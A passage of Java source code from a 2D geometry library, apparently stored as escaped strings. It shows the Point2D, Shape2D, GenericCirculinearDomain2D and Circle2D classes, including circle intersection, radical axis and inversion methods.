variables\r\n\r\n // coordinates are inherited from java class for Point\r\n\r\n // ===================================================================\r\n // constructors\r\n\r\n /** Constructs a new Point2D at position (0,0). */\r\n public Point2D() {\r\n }\r\n\r\n /**\r\n * Constructs a new Point2D at the given given position.\r\n */\r\n public Point2D(double x, double y) {\r\n this.x = x;\r\n this.y = y;\r\n }\r\n\r\n /**\r\n * Constructs a new Point2D by copying coordinates of given java point.\r\n */\r\n public Point2D(Point point) {\r\n this(point.x, point.y);\r\n }\r\n\r\n /**\r\n * Constructs a new Point2D by copying coordinates of given point.\r\n * \r\n * @deprecated immutable objects do not need copy constructor (0.11.2)\r\n */\r\n @Deprecated\r\n public Point2D(Point2D point) {\r\n this(point.x, point.y);\r\n }\r\n\r\n // ===================================================================\r\n // Methods specific to Point2D\r\n\r\n /**\r\n * Adds the coordinates of the given point to the coordinates of this point.\r\n */\r\n public Point2D plus(Point2D p) {\r\n return new Point2D(this.x + p.x, this.y + p.y);\r\n }\r\n\r\n /**\r\n * Adds the coordinates of the given vector to the coordinates of this\r\n * point.\r\n */\r\n public Point2D plus(Vector2D v) {\r\n return new Point2D(this.x + v.x, this.y + v.y);\r\n }\r\n\r\n /**\r\n * Removes the coordinates of the given point from the coordinates of this\r\n * point.\r\n */\r\n public Point2D minus(Point2D p) {\r\n return new Point2D(this.x - p.x, this.y - p.y);\r\n }\r\n\r\n /**\r\n * Removes the coordinates of the given vector from the coordinates of this\r\n * point.\r\n */\r\n public Point2D minus(Vector2D v) {\r\n return new Point2D(this.x - v.x, this.y - v.y);\r\n }\r\n\r\n /**\r\n * Returns the new point translated by amount given in each direction.\r\n * \r\n * @param tx\r\n * the translation in x direction\r\n * @param ty\r\n * the translation in y direction\r\n * @return the translated point\r\n */\r\n public Point2D translate(double tx, double ty) {\r\n return new Point2D(this.x + tx, this.y + ty);\r\n }\r\n\r\n /**\r\n * Returns the new point scaled by amount given in each direction.\r\n * \r\n * @param kx\r\n * the scale factor in x direction\r\n * @param ky\r\n * the scale factor in y direction\r\n * @return the scaled point\r\n */\r\n public Point2D scale(double kx, double ky) {\r\n return new Point2D(this.x * kx, this.y * ky);\r\n }\r\n\r\n /**\r\n * Returns the new point scaled by the same amount in each direction.\r\n * \r\n * @param k\r\n * the scale factor\r\n * @return the scaled point\r\n */\r\n public Point2D scale(double k) {\r\n return new Point2D(this.x * k, this.y * k);\r\n }\r\n\r\n /**\r\n * Rotates the point by a given angle around the origin.\r\n * \r\n * @param theta\r\n * the angle of rotation, in radians\r\n * @return the rotated point.\r\n */\r\n public Point2D rotate(double theta) {\r\n double cot = cos(theta);\r\n double sit = sin(theta);\r\n return new Point2D(x * cot - y * sit, x * sit + y * cot);\r\n }\r\n\r\n /**\r\n * Rotates the point by a given angle around an arbitrary center.\r\n * \r\n * @param center\r\n * the center of the rotation\r\n * @param theta\r\n * the angle of rotation, in radians\r\n * @return the rotated point.\r\n */\r\n public Point2D rotate(Point2D center, double theta) {\r\n double cx = center.x;\r\n double cy = center.y;\r\n double cot = cos(theta);\r\n double sit = sin(theta);\r\n return new Point2D(x * cot - y * sit + (1 - cot) * cx + sit * cy, x\r\n * sit + y * cot + (1 - cot) * cy - sit * cx);\r\n }\r\n\r\n // ===================================================================\r\n // Methods specific to Point2D\r\n\r\n /**\r\n * Converts point to an integer version. Coordinates are rounded to the\r\n * nearest integer.\r\n * \r\n * @return an instance of java.awt.Point\r\n */\r\n public Point getAsInt() {\r\n return new Point((int) x, (int) y);\r\n }\r\n\r\n // ===================================================================\r\n // Getter and setter\r\n\r\n /**\r\n * Returns the x-coordinate of this point.\r\n */\r\n public double x() {\r\n return x;\r\n }\r\n\r\n /**\r\n\t */\r\n public double getX() {\r\n return this.x;\r\n }\r\n\r\n /**\r\n * Returns the y-coordinate of this point.\r\n */\r\n public double y() {\r\n return y;\r\n }\r\n\r\n /**\r\n * Returns the y-coordinate of this point.\r\n */\r\n public double getY() {\r\n return y;\r\n }\r\n\r\n // ===================================================================\r\n // Methods implementing CirculinearShape2D interface\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see math.geom2d.circulinear.CirculinearShape2D#buffer(double)\r\n */\r\n public CirculinearDomain2D buffer(double dist) {\r\n return new GenericCirculinearDomain2D(new Circle2D(this,\r\n Math.abs(dist), dist > 0));\r\n }\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see\r\n * math.geom2d.circulinear.CirculinearShape2D#transform(CircleInversion2D)\r\n */\r\n public Point2D transform(CircleInversion2D inv) {\r\n // get inversion parameters\r\n Point2D center = inv.center();\r\n double r = inv.radius();\r\n\r\n // compute distance and angle of transformed point\r\n double d = r * r / Point2D.distance(this, center);\r\n double theta = Angle2D.horizontalAngle(center, this);\r\n\r\n // create the new point\r\n return Point2D.createPolar(center, d, theta);\r\n }\r\n\r\n // ===================================================================\r\n // Methods implementing the PointShape2D interface\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see math.geom2d.point.PointShape2D#size()\r\n */\r\n public int size() {\r\n return 1;\r\n }\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see math.geom2d.point.PointShape2D#points()\r\n */\r\n public Collection<Point2D> points() {\r\n ArrayList<Point2D> array = new ArrayList<Point2D>(1);\r\n array.add(this);\r\n return array;\r\n }\r\n\r\n // ===================================================================\r\n // Methods implementing Shape2D interface\r\n\r\n /**\r\n * Computes the distance between this and the point <code>point</code>.\r\n */\r\n public double distance(Point2D point) {\r\n return distance(point.x, point.y);\r\n }\r\n\r\n /**\r\n * Computes the distance between current point and point with coordinate\r\n * <code>(x,y)</code>. Uses the <code>Math.hypot()</code> function for\r\n * better robustness than simple square root.\r\n */\r\n public double distance(double x, double y) {\r\n return hypot(this.x - x, this.y - y);\r\n }\r\n\r\n /**\r\n * Returns true if the point is bounded. A point is unbounded if at least\r\n * one of its coordinates is infinite or NaN.\r\n * \r\n * @return true if both coordinates of the point are finite\r\n */\r\n public boolean isBounded() {\r\n if (java.lang.Double.isInfinite(this.x))\r\n return false;\r\n if (java.lang.Double.isInfinite(this.y))\r\n return false;\r\n if (java.lang.Double.isNaN(this.x))\r\n return false;\r\n if (java.lang.Double.isNaN(this.y))\r\n return false;\r\n return true;\r\n }\r\n\r\n /**\r\n * Returns false, as a point can not be empty.\r\n */\r\n public boolean isEmpty() {\r\n return false;\r\n }\r\n\r\n /**\r\n * Returns true if the two points are equal.\r\n */\r\n public boolean contains(double x, double y) {\r\n return this.equals(new Point2D(x, y));\r\n }\r\n\r\n /**\r\n * Returns true if the two points are equal.\r\n */\r\n public boolean contains(Point2D p) {\r\n return this.equals(p);\r\n }\r\n\r\n /**\r\n * Returns a PointSet2D, containing 0 or 1 point, depending on whether the\r\n * point lies inside the specified box.\r\n */\r\n public PointSet2D clip(Box2D box) {\r\n // init result array\r\n PointSet2D set = new PointArray2D(0);\r\n\r\n // return empty array if point is clipped\r\n if (x < box.getMinX())\r\n return set;\r\n if (y < box.getMinY())\r\n return set;\r\n if (x > box.getMaxX())\r\n return set;\r\n if (y > box.getMaxY())\r\n return set;\r\n\r\n // return an array with the point\r\n set.add(this);\r\n return set;\r\n }\r\n\r\n /**\r\n * Returns a bounding box with zero width and zero height, whose coordinates\r\n * limits are point coordinates.\r\n */\r\n public Box2D boundingBox() {\r\n return new Box2D(x, x, y, y);\r\n }\r\n\r\n /**\r\n * Returns the transformed point.\r\n */\r\n public Point2D transform(AffineTransform2D trans) {\r\n double[] tab = trans.coefficients();\r\n return new Point2D(x * tab[0] + y * tab[1] + tab[2], x * tab[3] + y\r\n * tab[4] + tab[5]);\r\n }\r\n\r\n // ===================================================================\r\n // Graphical methods\r\n\r\n\r\n /**\r\n * Draws the point on the specified Graphics2D, by filling a disc with a\r\n * given radius.\r\n * \r\n * @param g2\r\n * the graphics to draw the point\r\n */\r\n public void draw(Canvas g2, Paint p) {\r\n g2.drawPoint((float) x, (float) y, p);\r\n }\r\n\r\n // ===================================================================\r\n // methods implementing the GeometricObject2D interface\r\n\r\n /**\r\n * Test whether this object is the same as another point, with respect to a\r\n * given threshold along each coordinate.\r\n */\r\n public boolean almostEquals(GeometricObject2D obj, double eps) {\r\n if (this == obj)\r\n return true;\r\n\r\n if (!(obj instanceof Point2D))\r\n return false;\r\n Point2D p = (Point2D) obj;\r\n\r\n if (Math.abs(this.x - p.x) > eps)\r\n return false;\r\n if (Math.abs(this.y - p.y) > eps)\r\n return false;\r\n\r\n return true;\r\n }\r\n\r\n // ===================================================================\r\n // methods implementing the Iterable interface\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see java.lang.Iterable#iterator()\r\n */\r\n public Iterator<Point2D> iterator() {\r\n return this.points().iterator();\r\n }\r\n\r\n // ===================================================================\r\n // Override of Object methods\r\n\r\n @Override\r\n public String toString() {\r\n return new String(\"Point2D(\" + x + \", \" + y + \")\");\r\n }\r\n\r\n /**\r\n * Two points are considered equal if their Euclidean distance is less than\r\n * Shape2D.ACCURACY.\r\n */\r\n @Override\r\n public boolean equals(Object obj) {\r\n if (this == obj)\r\n return true;\r\n\r\n if (!(obj instanceof Point2D))\r\n return false;\r\n Point2D that = (Point2D) obj;\r\n\r\n // Compare each field\r\n if (!EqualUtils.areEqual(this.x, that.x))\r\n return false;\r\n if (!EqualUtils.areEqual(this.y, that.y))\r\n return false;\r\n\r\n return true;\r\n }\r\n\r\n /**\r\n * @deprecated not necessary to clone immutable objects (0.11.2)\r\n */\r\n @Deprecated\r\n @Override\r\n public Point2D clone() {\r\n return new Point2D(x, y);\r\n }\r\n}\r", "public interface Shape2D extends GeometricObject2D {\r\n\r\n // ===================================================================\r\n // constants\r\n\r\n /**\r\n * The constant used for testing results.\r\n */\r\n public final static double ACCURACY = 1e-12;\r\n\r\n /**\r\n * Checks if the shape contains the planar point defined by (x,y).\r\n */\r\n public abstract boolean contains(double x, double y);\r\n\r\n /**\r\n * Checks if the shape contains the given point.\r\n */\r\n public abstract boolean contains(Point2D p);\r\n\r\n /**\r\n * Returns the distance of the shape to the given point, or the distance of\r\n * point to the frontier of the shape in the case of a plain shape.\r\n */\r\n public abstract double distance(Point2D p);\r\n\r\n /**\r\n * Returns the distance of the shape to the given point, specified by x and\r\n * y, or the distance of point to the frontier of the shape in the case of\r\n * a plain (i.e. fillable) shape.\r\n */\r\n public abstract double distance(double x, double y);\r\n\r\n /**\r\n * Returns true if the shape is bounded, that is if we can draw a finite\r\n * rectangle enclosing the shape. For example, a straight line or a parabola\r\n * are not bounded.\r\n */\r\n public abstract boolean isBounded();\r\n\r\n /**\r\n * Returns true if the shape does not contain any point. This is the case\r\n * for example for PointSet2D without any point.\r\n * \r\n * @return true if the shape does not contain any point.\r\n */\r\n public abstract boolean isEmpty();\r\n\r\n /**\r\n * Returns the bounding box of the shape.\r\n * \r\n * @return the bounding box of the shape.\r\n */\r\n public abstract Box2D boundingBox();\r\n\r\n /**\r\n * Clip the shape with the given box, and returns a new shape. The box must\r\n * be bounded.\r\n * \r\n * @param box the clipping box\r\n * @return the clipped shape\r\n */\r\n public abstract Shape2D clip(Box2D box);\r\n\r\n /**\r\n * Transforms the shape by an affine transform. Subclasses may override the\r\n * type of returned shape.\r\n * \r\n * @param trans an affine transform\r\n * @return the transformed shape\r\n */\r\n public abstract Shape2D transform(AffineTransform2D trans);\r\n\r\n /**\r\n * Draws the shape on the given graphics. \r\n * If the shape is empty, nothing is drawn.\r\n * If the shape is unbounded, an exception is thrown.\r\n */\r\n public abstract void draw(Canvas c, Paint p);\r\n}\r", "public class GenericCirculinearDomain2D extends GenericDomain2D implements\r\n CirculinearDomain2D {\r\n\r\n // ===================================================================\r\n // Static factories\r\n\r\n public static GenericCirculinearDomain2D create(\r\n CirculinearBoundary2D boundary) {\r\n return new GenericCirculinearDomain2D(boundary);\r\n }\r\n\r\n // ===================================================================\r\n // constructors\r\n\r\n public GenericCirculinearDomain2D(CirculinearBoundary2D boundary) {\r\n super(boundary);\r\n }\r\n\r\n @Override\r\n public CirculinearBoundary2D boundary() {\r\n return (CirculinearBoundary2D) boundary;\r\n }\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see math.geom2d.domain.Domain2D#contours()\r\n */\r\n public Collection<? extends CirculinearContour2D> contours() {\r\n return ((CirculinearBoundary2D) this.boundary).continuousCurves();\r\n }\r\n\r\n @Override\r\n public CirculinearDomain2D complement() {\r\n return new GenericCirculinearDomain2D(\r\n (CirculinearBoundary2D) boundary.reverse());\r\n }\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see math.geom2d.circulinear.CirculinearShape2D#buffer(double)\r\n */\r\n public CirculinearDomain2D buffer(double dist) {\r\n\r\n CirculinearBoundary2D newBoundary = ((CirculinearBoundary2D) this.boundary)\r\n .parallel(dist);\r\n return new GenericCirculinearDomain2D(new CirculinearContourArray2D(\r\n CirculinearCurves2D.splitIntersectingContours(newBoundary\r\n .continuousCurves())));\r\n }\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see\r\n * math.geom2d.circulinear.CirculinearDomain2D#transform(math.geom2d.transform\r\n * .CircleInversion2D)\r\n */\r\n public CirculinearDomain2D transform(CircleInversion2D inv) {\r\n // class cast\r\n CirculinearBoundary2D boundary2 = (CirculinearBoundary2D) boundary;\r\n\r\n // transform and reverse\r\n boundary2 = boundary2.transform(inv).reverse();\r\n\r\n // create the result domain\r\n return new GenericCirculinearDomain2D(boundary2);\r\n }\r\n\r\n // ===================================================================\r\n // methods overriding the Object class\r\n\r\n @Override\r\n public String toString() {\r\n return \"GenericCirculinearDomain2D(boundary=\" + boundary + \")\";\r\n }\r\n\r\n}\r", "public class Circle2D extends AbstractSmoothCurve2D implements EllipseShape2D,\r\n CircleLine2D, CircularShape2D, CirculinearRing2D, Cloneable {\r\n\r\n // ===================================================================\r\n // Static methods\r\n\r\n /**\r\n * Creates a circle from a center and a radius.\r\n * \r\n * @deprecated since 0.11.1\r\n */\r\n @Deprecated\r\n public static Circle2D create(Point2D center, double radius) {\r\n return new Circle2D(center, radius);\r\n }\r\n\r\n /**\r\n * Creates a circle from a center, a radius, and a flag indicating\r\n * orientation.\r\n * \r\n * @deprecated since 0.11.1\r\n */\r\n @Deprecated\r\n public static Circle2D create(Point2D center, double radius, boolean direct) {\r\n return new Circle2D(center, radius, direct);\r\n }\r\n\r\n /**\r\n * Creates a circle containing 3 points.\r\n * \r\n * @deprecated replaced by createCircle(Point2D, Point2D, Point2D) (0.11.1)\r\n */\r\n @Deprecated\r\n public static Circle2D create(Point2D p1, Point2D p2, Point2D p3) {\r\n if (Point2D.isColinear(p1, p2, p3))\r\n throw new ColinearPoints2DException(p1, p2, p3);\r\n\r\n // create two median lines\r\n StraightLine2D line12 = StraightLine2D.createMedian(p1, p2);\r\n StraightLine2D line23 = StraightLine2D.createMedian(p2, p3);\r\n\r\n // check medians are not parallel\r\n // assert !AbstractLine2D.isParallel(line12, line23) : \"If points are not colinear, medians should not be parallel\";\r\n\r\n // Compute intersection of the medians, and circle radius\r\n Point2D center = AbstractLine2D.getIntersection(line12, line23);\r\n double radius = Point2D.distance(center, p2);\r\n\r\n // return the created circle\r\n return new Circle2D(center, radius);\r\n }\r\n\r\n /**\r\n * @deprecated replaced by circlesIntersections(Circle2D, Circle2D) (0.11.1)\r\n */\r\n @Deprecated\r\n public static Collection<Point2D> getIntersections(Circle2D circle1,\r\n Circle2D circle2) {\r\n ArrayList<Point2D> intersections = new ArrayList<Point2D>(2);\r\n\r\n // extract center and radius of each circle\r\n Point2D center1 = circle1.center();\r\n Point2D center2 = circle2.center();\r\n double r1 = circle1.radius();\r\n double r2 = circle2.radius();\r\n\r\n double d = Point2D.distance(center1, center2);\r\n\r\n // case of no intersection\r\n if (d < abs(r1 - r2) || d > (r1 + r2))\r\n return intersections;\r\n\r\n // Angle of line from center1 to center2\r\n double angle = Angle2D.horizontalAngle(center1, center2);\r\n\r\n // position of intermediate point\r\n double d1 = d / 2 + (r1 * r1 - r2 * r2) / (2 * d);\r\n Point2D tmp = Point2D.createPolar(center1, d1, angle);\r\n\r\n // Add the 2 intersection points\r\n double h = sqrt(r1 * r1 - d1 * d1);\r\n intersections.add(Point2D.createPolar(tmp, h, angle + PI / 2));\r\n intersections.add(Point2D.createPolar(tmp, h, angle - PI / 2));\r\n\r\n return intersections;\r\n }\r\n\r\n /**\r\n * Computes intersections of a circle with a line. Returns an array of\r\n * Point2D, of size 0, 1 or 2 depending on the distance between circle and\r\n * line. If there are 2 intersections points, the first one in the array is\r\n * the first one on the line.\r\n * \r\n * @deprecated replaced by lineCircleIntersections(LinearShape2D,\r\n * CircularShape2D) (0.11.1)\r\n */\r\n @Deprecated\r\n public static Collection<Point2D> getIntersections(CircularShape2D circle,\r\n LinearShape2D line) {\r\n // initialize array of points (maximum 2 intersections)\r\n ArrayList<Point2D> intersections = new ArrayList<Point2D>(2);\r\n\r\n // extract parameters of the circle\r\n Circle2D parent = circle.supportingCircle();\r\n Point2D center = parent.center();\r\n double radius = parent.radius();\r\n\r\n // Compute line perpendicular to the test line, and going through the\r\n // circle center\r\n StraightLine2D perp = StraightLine2D.createPerpendicular(line, center);\r\n\r\n // Compute distance between line and circle center\r\n Point2D inter = perp.intersection(new StraightLine2D(line));\r\n // assert (inter != null);\r\n double dist = inter.distance(center);\r\n\r\n // if the distance is the radius of the circle, return the\r\n // intersection point\r\n if (abs(dist - radius) < Shape2D.ACCURACY) {\r\n if (line.contains(inter) && circle.contains(inter))\r\n intersections.add(inter);\r\n return intersections;\r\n }\r\n\r\n // compute angle of the line, and distance between 'inter' point and\r\n // each intersection point\r\n double angle = line.horizontalAngle();\r\n double d2 = sqrt(radius * radius - dist * dist);\r\n\r\n // Compute position and angle of intersection points\r\n Point2D p1 = Point2D.createPolar(inter, d2, angle + Math.PI);\r\n Point2D p2 = Point2D.createPolar(inter, d2, angle);\r\n\r\n // add points to the array only if they belong to the line\r\n if (line.contains(p1) && circle.contains(p1))\r\n intersections.add(p1);\r\n if (line.contains(p2) && circle.contains(p2))\r\n intersections.add(p2);\r\n\r\n // return the result\r\n return intersections;\r\n }\r\n\r\n /**\r\n * Computes the circumscribed circle of the 3 input points.\r\n * \r\n * @return the circle that contains the three input points\r\n * @throws ColinearPoints2DException\r\n * if the 3 points are colinear\r\n */\r\n public static Circle2D circumCircle(Point2D p1, Point2D p2, Point2D p3) {\r\n // Computes circum center, possibly throwing ColinearPoints2DException\r\n Point2D center = circumCenter(p1, p2, p3);\r\n\r\n // compute radius\r\n double radius = Point2D.distance(center, p2);\r\n\r\n // return the created circle\r\n return new Circle2D(center, radius);\r\n }\r\n\r\n /**\r\n * Computes the center of the circumscribed circle of the three input\r\n * points.\r\n * \r\n * @throws ColinearPoints2DException\r\n * if the 3 points are colinear\r\n */\r\n public static Point2D circumCenter(Point2D p1, Point2D p2, Point2D p3) {\r\n if (Point2D.isColinear(p1, p2, p3))\r\n throw new ColinearPoints2DException(p1, p2, p3);\r\n\r\n // create two median lines\r\n StraightLine2D line12 = StraightLine2D.createMedian(p1, p2);\r\n StraightLine2D line23 = StraightLine2D.createMedian(p2, p3);\r\n\r\n // check medians are not parallel\r\n // assert !AbstractLine2D.isParallel(line12, line23) : \"If points are not colinear, medians should not be parallel\";\r\n\r\n // Compute intersection of the medians, and circle radius\r\n Point2D center = AbstractLine2D.getIntersection(line12, line23);\r\n\r\n // return the center\r\n return center;\r\n }\r\n\r\n /**\r\n * Computes the intersections points between two circles or circular shapes.\r\n * \r\n * @param circle1\r\n * an instance of circle or circle arc\r\n * @param circle2\r\n * an instance of circle or circle arc\r\n * @return a collection of 0, 1 or 2 intersection points\r\n */\r\n public static Collection<Point2D> circlesIntersections(Circle2D circle1,\r\n Circle2D circle2) {\r\n // extract center and radius of each circle\r\n Point2D center1 = circle1.center();\r\n Point2D center2 = circle2.center();\r\n double r1 = circle1.radius();\r\n double r2 = circle2.radius();\r\n\r\n double d = Point2D.distance(center1, center2);\r\n\r\n // case of no intersection\r\n if (d < abs(r1 - r2) || d > (r1 + r2))\r\n return new ArrayList<Point2D>(0);\r\n\r\n // Angle of line from center1 to center2\r\n double angle = Angle2D.horizontalAngle(center1, center2);\r\n\r\n // position of intermediate point\r\n double d1 = d / 2 + (r1 * r1 - r2 * r2) / (2 * d);\r\n Point2D tmp = Point2D.createPolar(center1, d1, angle);\r\n\r\n // distance between intermediate point and each intersection\r\n double h = sqrt(r1 * r1 - d1 * d1);\r\n\r\n // create empty array\r\n ArrayList<Point2D> intersections = new ArrayList<Point2D>(2);\r\n\r\n // Add the 2 intersection points\r\n Point2D p1 = Point2D.createPolar(tmp, h, angle + PI / 2);\r\n intersections.add(p1);\r\n Point2D p2 = Point2D.createPolar(tmp, h, angle - PI / 2);\r\n intersections.add(p2);\r\n\r\n return intersections;\r\n }\r\n\r\n /**\r\n * Computes intersections of a circle with a line. Returns an array of\r\n * Point2D, of size 0, 1 or 2 depending on the distance between circle and\r\n * line. If there are 2 intersections points, the first one in the array is\r\n * the first one on the line.\r\n * \r\n * @return a collection of intersection points\r\n * @since 0.11.1\r\n */\r\n public static Collection<Point2D> lineCircleIntersections(\r\n LinearShape2D line, CircularShape2D circle) {\r\n // initialize array of points (maximum 2 intersections)\r\n ArrayList<Point2D> intersections = new ArrayList<Point2D>(2);\r\n\r\n // extract parameters of the circle\r\n Circle2D parent = circle.supportingCircle();\r\n Point2D center = parent.center();\r\n double radius = parent.radius();\r\n\r\n // Compute line perpendicular to the test line, and going through the\r\n // circle center\r\n StraightLine2D perp = StraightLine2D.createPerpendicular(line, center);\r\n\r\n // Compute distance between line and circle center\r\n Point2D inter = perp.intersection(new StraightLine2D(line));\r\n if (inter == null) {\r\n throw new RuntimeException(\r\n \"Could not compute intersection point when computing line-cicle intersection\");\r\n }\r\n double dist = inter.distance(center);\r\n\r\n // if the distance is the radius of the circle, return the\r\n // intersection point\r\n if (abs(dist - radius) < Shape2D.ACCURACY) {\r\n if (line.contains(inter) && circle.contains(inter))\r\n intersections.add(inter);\r\n return intersections;\r\n }\r\n\r\n // compute angle of the line, and distance between 'inter' point and\r\n // each intersection point\r\n double angle = line.horizontalAngle();\r\n double d2 = sqrt(radius * radius - dist * dist);\r\n\r\n // Compute position and angle of intersection points\r\n Point2D p1 = Point2D.createPolar(inter, d2, angle + Math.PI);\r\n Point2D p2 = Point2D.createPolar(inter, d2, angle);\r\n\r\n // add points to the array only if they belong to the line\r\n if (line.contains(p1) && circle.contains(p1))\r\n intersections.add(p1);\r\n if (line.contains(p2) && circle.contains(p2))\r\n intersections.add(p2);\r\n\r\n // return the result\r\n return intersections;\r\n }\r\n\r\n /**\r\n * Computes the radical axis of the two circles.\r\n * \r\n * @since 0.11.1\r\n * @return the radical axis of the two circles.\r\n * @throws IllegalArgumentException\r\n * if the two circles have same center\r\n */\r\n public static StraightLine2D radicalAxis(Circle2D circle1, Circle2D circle2) {\r\n\r\n // extract center and radius of each circle\r\n double r1 = circle1.radius();\r\n double r2 = circle2.radius();\r\n Point2D p1 = circle1.center();\r\n Point2D p2 = circle2.center();\r\n\r\n // compute horizontal angle of joining line\r\n double angle = Angle2D.horizontalAngle(p1, p2);\r\n\r\n // distance between centers\r\n double dist = p1.distance(p2);\r\n if (dist < Shape2D.ACCURACY) {\r\n throw new IllegalArgumentException(\r\n \"Input circles must have distinct centers\");\r\n }\r\n\r\n // position of the radical axis on the joining line\r\n double d = (dist * dist + r1 * r1 - r2 * r2) * .5 / dist;\r\n\r\n // pre-compute trigonometric functions\r\n double cot = Math.cos(angle);\r\n double sit = Math.sin(angle);\r\n\r\n // compute parameters of the line\r\n double x0 = p1.x() + d * cot;\r\n double y0 = p1.y() + d * sit;\r\n double dx = -sit;\r\n double dy = cot;\r\n\r\n // update state of current line\r\n return new StraightLine2D(x0, y0, dx, dy);\r\n }\r\n\r\n // ===================================================================\r\n // Class variables\r\n\r\n /** Coordinate of center. */\r\n protected double xc;\r\n protected double yc;\r\n\r\n /** the radius of the circle. */\r\n protected double r = 0;\r\n\r\n /** Directed circle or not */\r\n protected boolean direct = true;\r\n\r\n /** Orientation of major semi-axis, in radians, between 0 and 2*PI. */\r\n protected double theta = 0;\r\n\r\n // ===================================================================\r\n // Constructors\r\n\r\n /** Empty constructor: center 0,0 and radius 0. */\r\n public Circle2D() {\r\n this(0, 0, 0, true);\r\n }\r\n\r\n /** Create a new circle with specified point center and radius */\r\n public Circle2D(Point2D center, double radius) {\r\n this(center.x(), center.y(), radius, true);\r\n }\r\n\r\n /** Create a new circle with specified center, radius and orientation */\r\n public Circle2D(Point2D center, double radius, boolean direct) {\r\n this(center.x(), center.y(), radius, direct);\r\n }\r\n\r\n /** Create a new circle with specified center and radius */\r\n public Circle2D(double xcenter, double ycenter, double radius) {\r\n this(xcenter, ycenter, radius, true);\r\n }\r\n\r\n /** Create a new circle with specified center, radius and orientation. */\r\n public Circle2D(double xcenter, double ycenter, double radius,\r\n boolean direct) {\r\n this.xc = xcenter;\r\n this.yc = ycenter;\r\n this.r = radius;\r\n this.direct = direct;\r\n }\r\n\r\n // ===================================================================\r\n // methods specific to class Circle2D\r\n\r\n /**\r\n * Returns the radius of the circle.\r\n */\r\n public double radius() {\r\n return r;\r\n }\r\n\r\n /**\r\n * Returns the intersection points with another circle. The result is a\r\n * collection with 0, 1 or 2 points.\r\n */\r\n public Collection<Point2D> intersections(Circle2D circle) {\r\n return Circle2D.circlesIntersections(this, circle);\r\n }\r\n\r\n // ===================================================================\r\n // methods implementing CircularShape2D interface\r\n\r\n /**\r\n * Returns the circle itself.\r\n */\r\n public Circle2D supportingCircle() {\r\n return this;\r\n }\r\n\r\n // ===================================================================\r\n // Methods implementing the Ellipse2D interface\r\n\r\n /**\r\n * Returns true if circle has a direct orientation.\r\n */\r\n public boolean isDirect() {\r\n return direct;\r\n }\r\n\r\n /**\r\n * Returns center of the circle.\r\n */\r\n public Point2D center() {\r\n return new Point2D(xc, yc);\r\n }\r\n\r\n /**\r\n * Returns the first direction vector of the circle, in the direction of the\r\n * major axis.\r\n */\r\n public Vector2D vector1() {\r\n return new Vector2D(cos(theta), sin(theta));\r\n }\r\n\r\n /**\r\n * Returns the second direction vector of the circle, in the direction of\r\n * the minor axis.\r\n */\r\n public Vector2D vector2() {\r\n if (direct)\r\n return new Vector2D(-sin(theta), cos(theta));\r\n else\r\n return new Vector2D(sin(theta), -cos(theta));\r\n }\r\n\r\n /**\r\n * Returns the angle of the circle main axis with the Ox axis.\r\n */\r\n public double angle() {\r\n return theta;\r\n }\r\n\r\n /**\r\n * Returns the first focus, which for a circle is the same point as the\r\n * center.\r\n */\r\n public Point2D focus1() {\r\n return new Point2D(xc, yc);\r\n }\r\n\r\n /**\r\n * Returns the second focus, which for a circle is the same point as the\r\n * center.\r\n */\r\n public Point2D focus2() {\r\n return new Point2D(xc, yc);\r\n }\r\n\r\n public boolean isCircle() {\r\n return true;\r\n }\r\n\r\n /**\r\n * Converts this circle to an instance of Ellipse2D.\r\n * \r\n * @return a new instance of Ellipse2D that corresponds to this circle\r\n */\r\n public Ellipse2D asEllipse() {\r\n return new Ellipse2D(this.xc, this.yc, this.r, this.r, this.theta,\r\n this.direct);\r\n }\r\n\r\n // ===================================================================\r\n // methods implementing the Conic2D interface\r\n\r\n public Type conicType() {\r\n return Conic2D.Type.CIRCLE;\r\n }\r\n\r\n /**\r\n * Returns Cartesian equation of the circle:\r\n * <p>\r\n * <code>(x-xc)^2 + (y-yc)^2 = r^2</code>, giving:\r\n * <p>\r\n * <code>x^2 + 0*x*y + y^2 -2*xc*x -2*yc*y + xc*xc+yc*yc-r*r = 0</code>.\r\n */\r\n public double[] conicCoefficients() {\r\n return new double[] { 1, 0, 1, -2 * xc, -2 * yc,\r\n xc * xc + yc * yc - r * r };\r\n }\r\n\r\n /**\r\n * Returns 0, which is the eccentricity of a circle by definition.\r\n */\r\n public double eccentricity() {\r\n return 0;\r\n }\r\n\r\n // ===================================================================\r\n // Methods implementing the CirculinearCurve2D interface\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see math.geom2d.circulinear.CirculinearShape2D#buffer(double)\r\n */\r\n public CirculinearDomain2D buffer(double dist) {\r\n BufferCalculator bc = BufferCalculator.getDefaultInstance();\r\n return bc.computeBuffer(this, dist);\r\n }\r\n\r\n /**\r\n * Returns the parallel circle located at a distance d from this circle. For\r\n * direct circle, distance is positive outside of the circle, and negative\r\n * inside. This is the contrary for indirect circles.\r\n */\r\n public Circle2D parallel(double d) {\r\n double rp = max(direct ? r + d : r - d, 0);\r\n return new Circle2D(xc, yc, rp, direct);\r\n }\r\n\r\n /** Returns perimeter of the circle (equal to 2*PI*radius). */\r\n public double length() {\r\n return PI * 2 * r;\r\n }\r\n\r\n /**\r\n * Returns the geodesic leangth until the given position.\r\n * \r\n * @see math.geom2d.circulinear.CirculinearCurve2D#length(double)\r\n */\r\n public double length(double pos) {\r\n return pos * this.r;\r\n }\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see math.geom2d.circulinear.CirculinearCurve2D#position(double)\r\n */\r\n public double position(double length) {\r\n return length / this.r;\r\n }\r\n\r\n /*\r\n * (non-Javadoc)\r\n * \r\n * @see\r\n * math.geom2d.circulinear.CirculinearCurve2D#transform(math.geom2d.transform\r\n * .CircleInversion2D)\r\n */\r\n public CircleLine2D transform(CircleInversion2D inv) {\r\n // Extract inversion parameters\r\n Point2D center = inv.center();\r\n Point2D c1 = this.center();\r\n\r\n // If circles are concentric, creates directly the new circle\r\n if (center.distance(c1) < Shape2D.ACCURACY) {\r\n double r0 = inv.radius();\r\n double r2 = r0 * r0 / this.r;\r\n return new Circle2D(center, r2, this.direct);\r\n 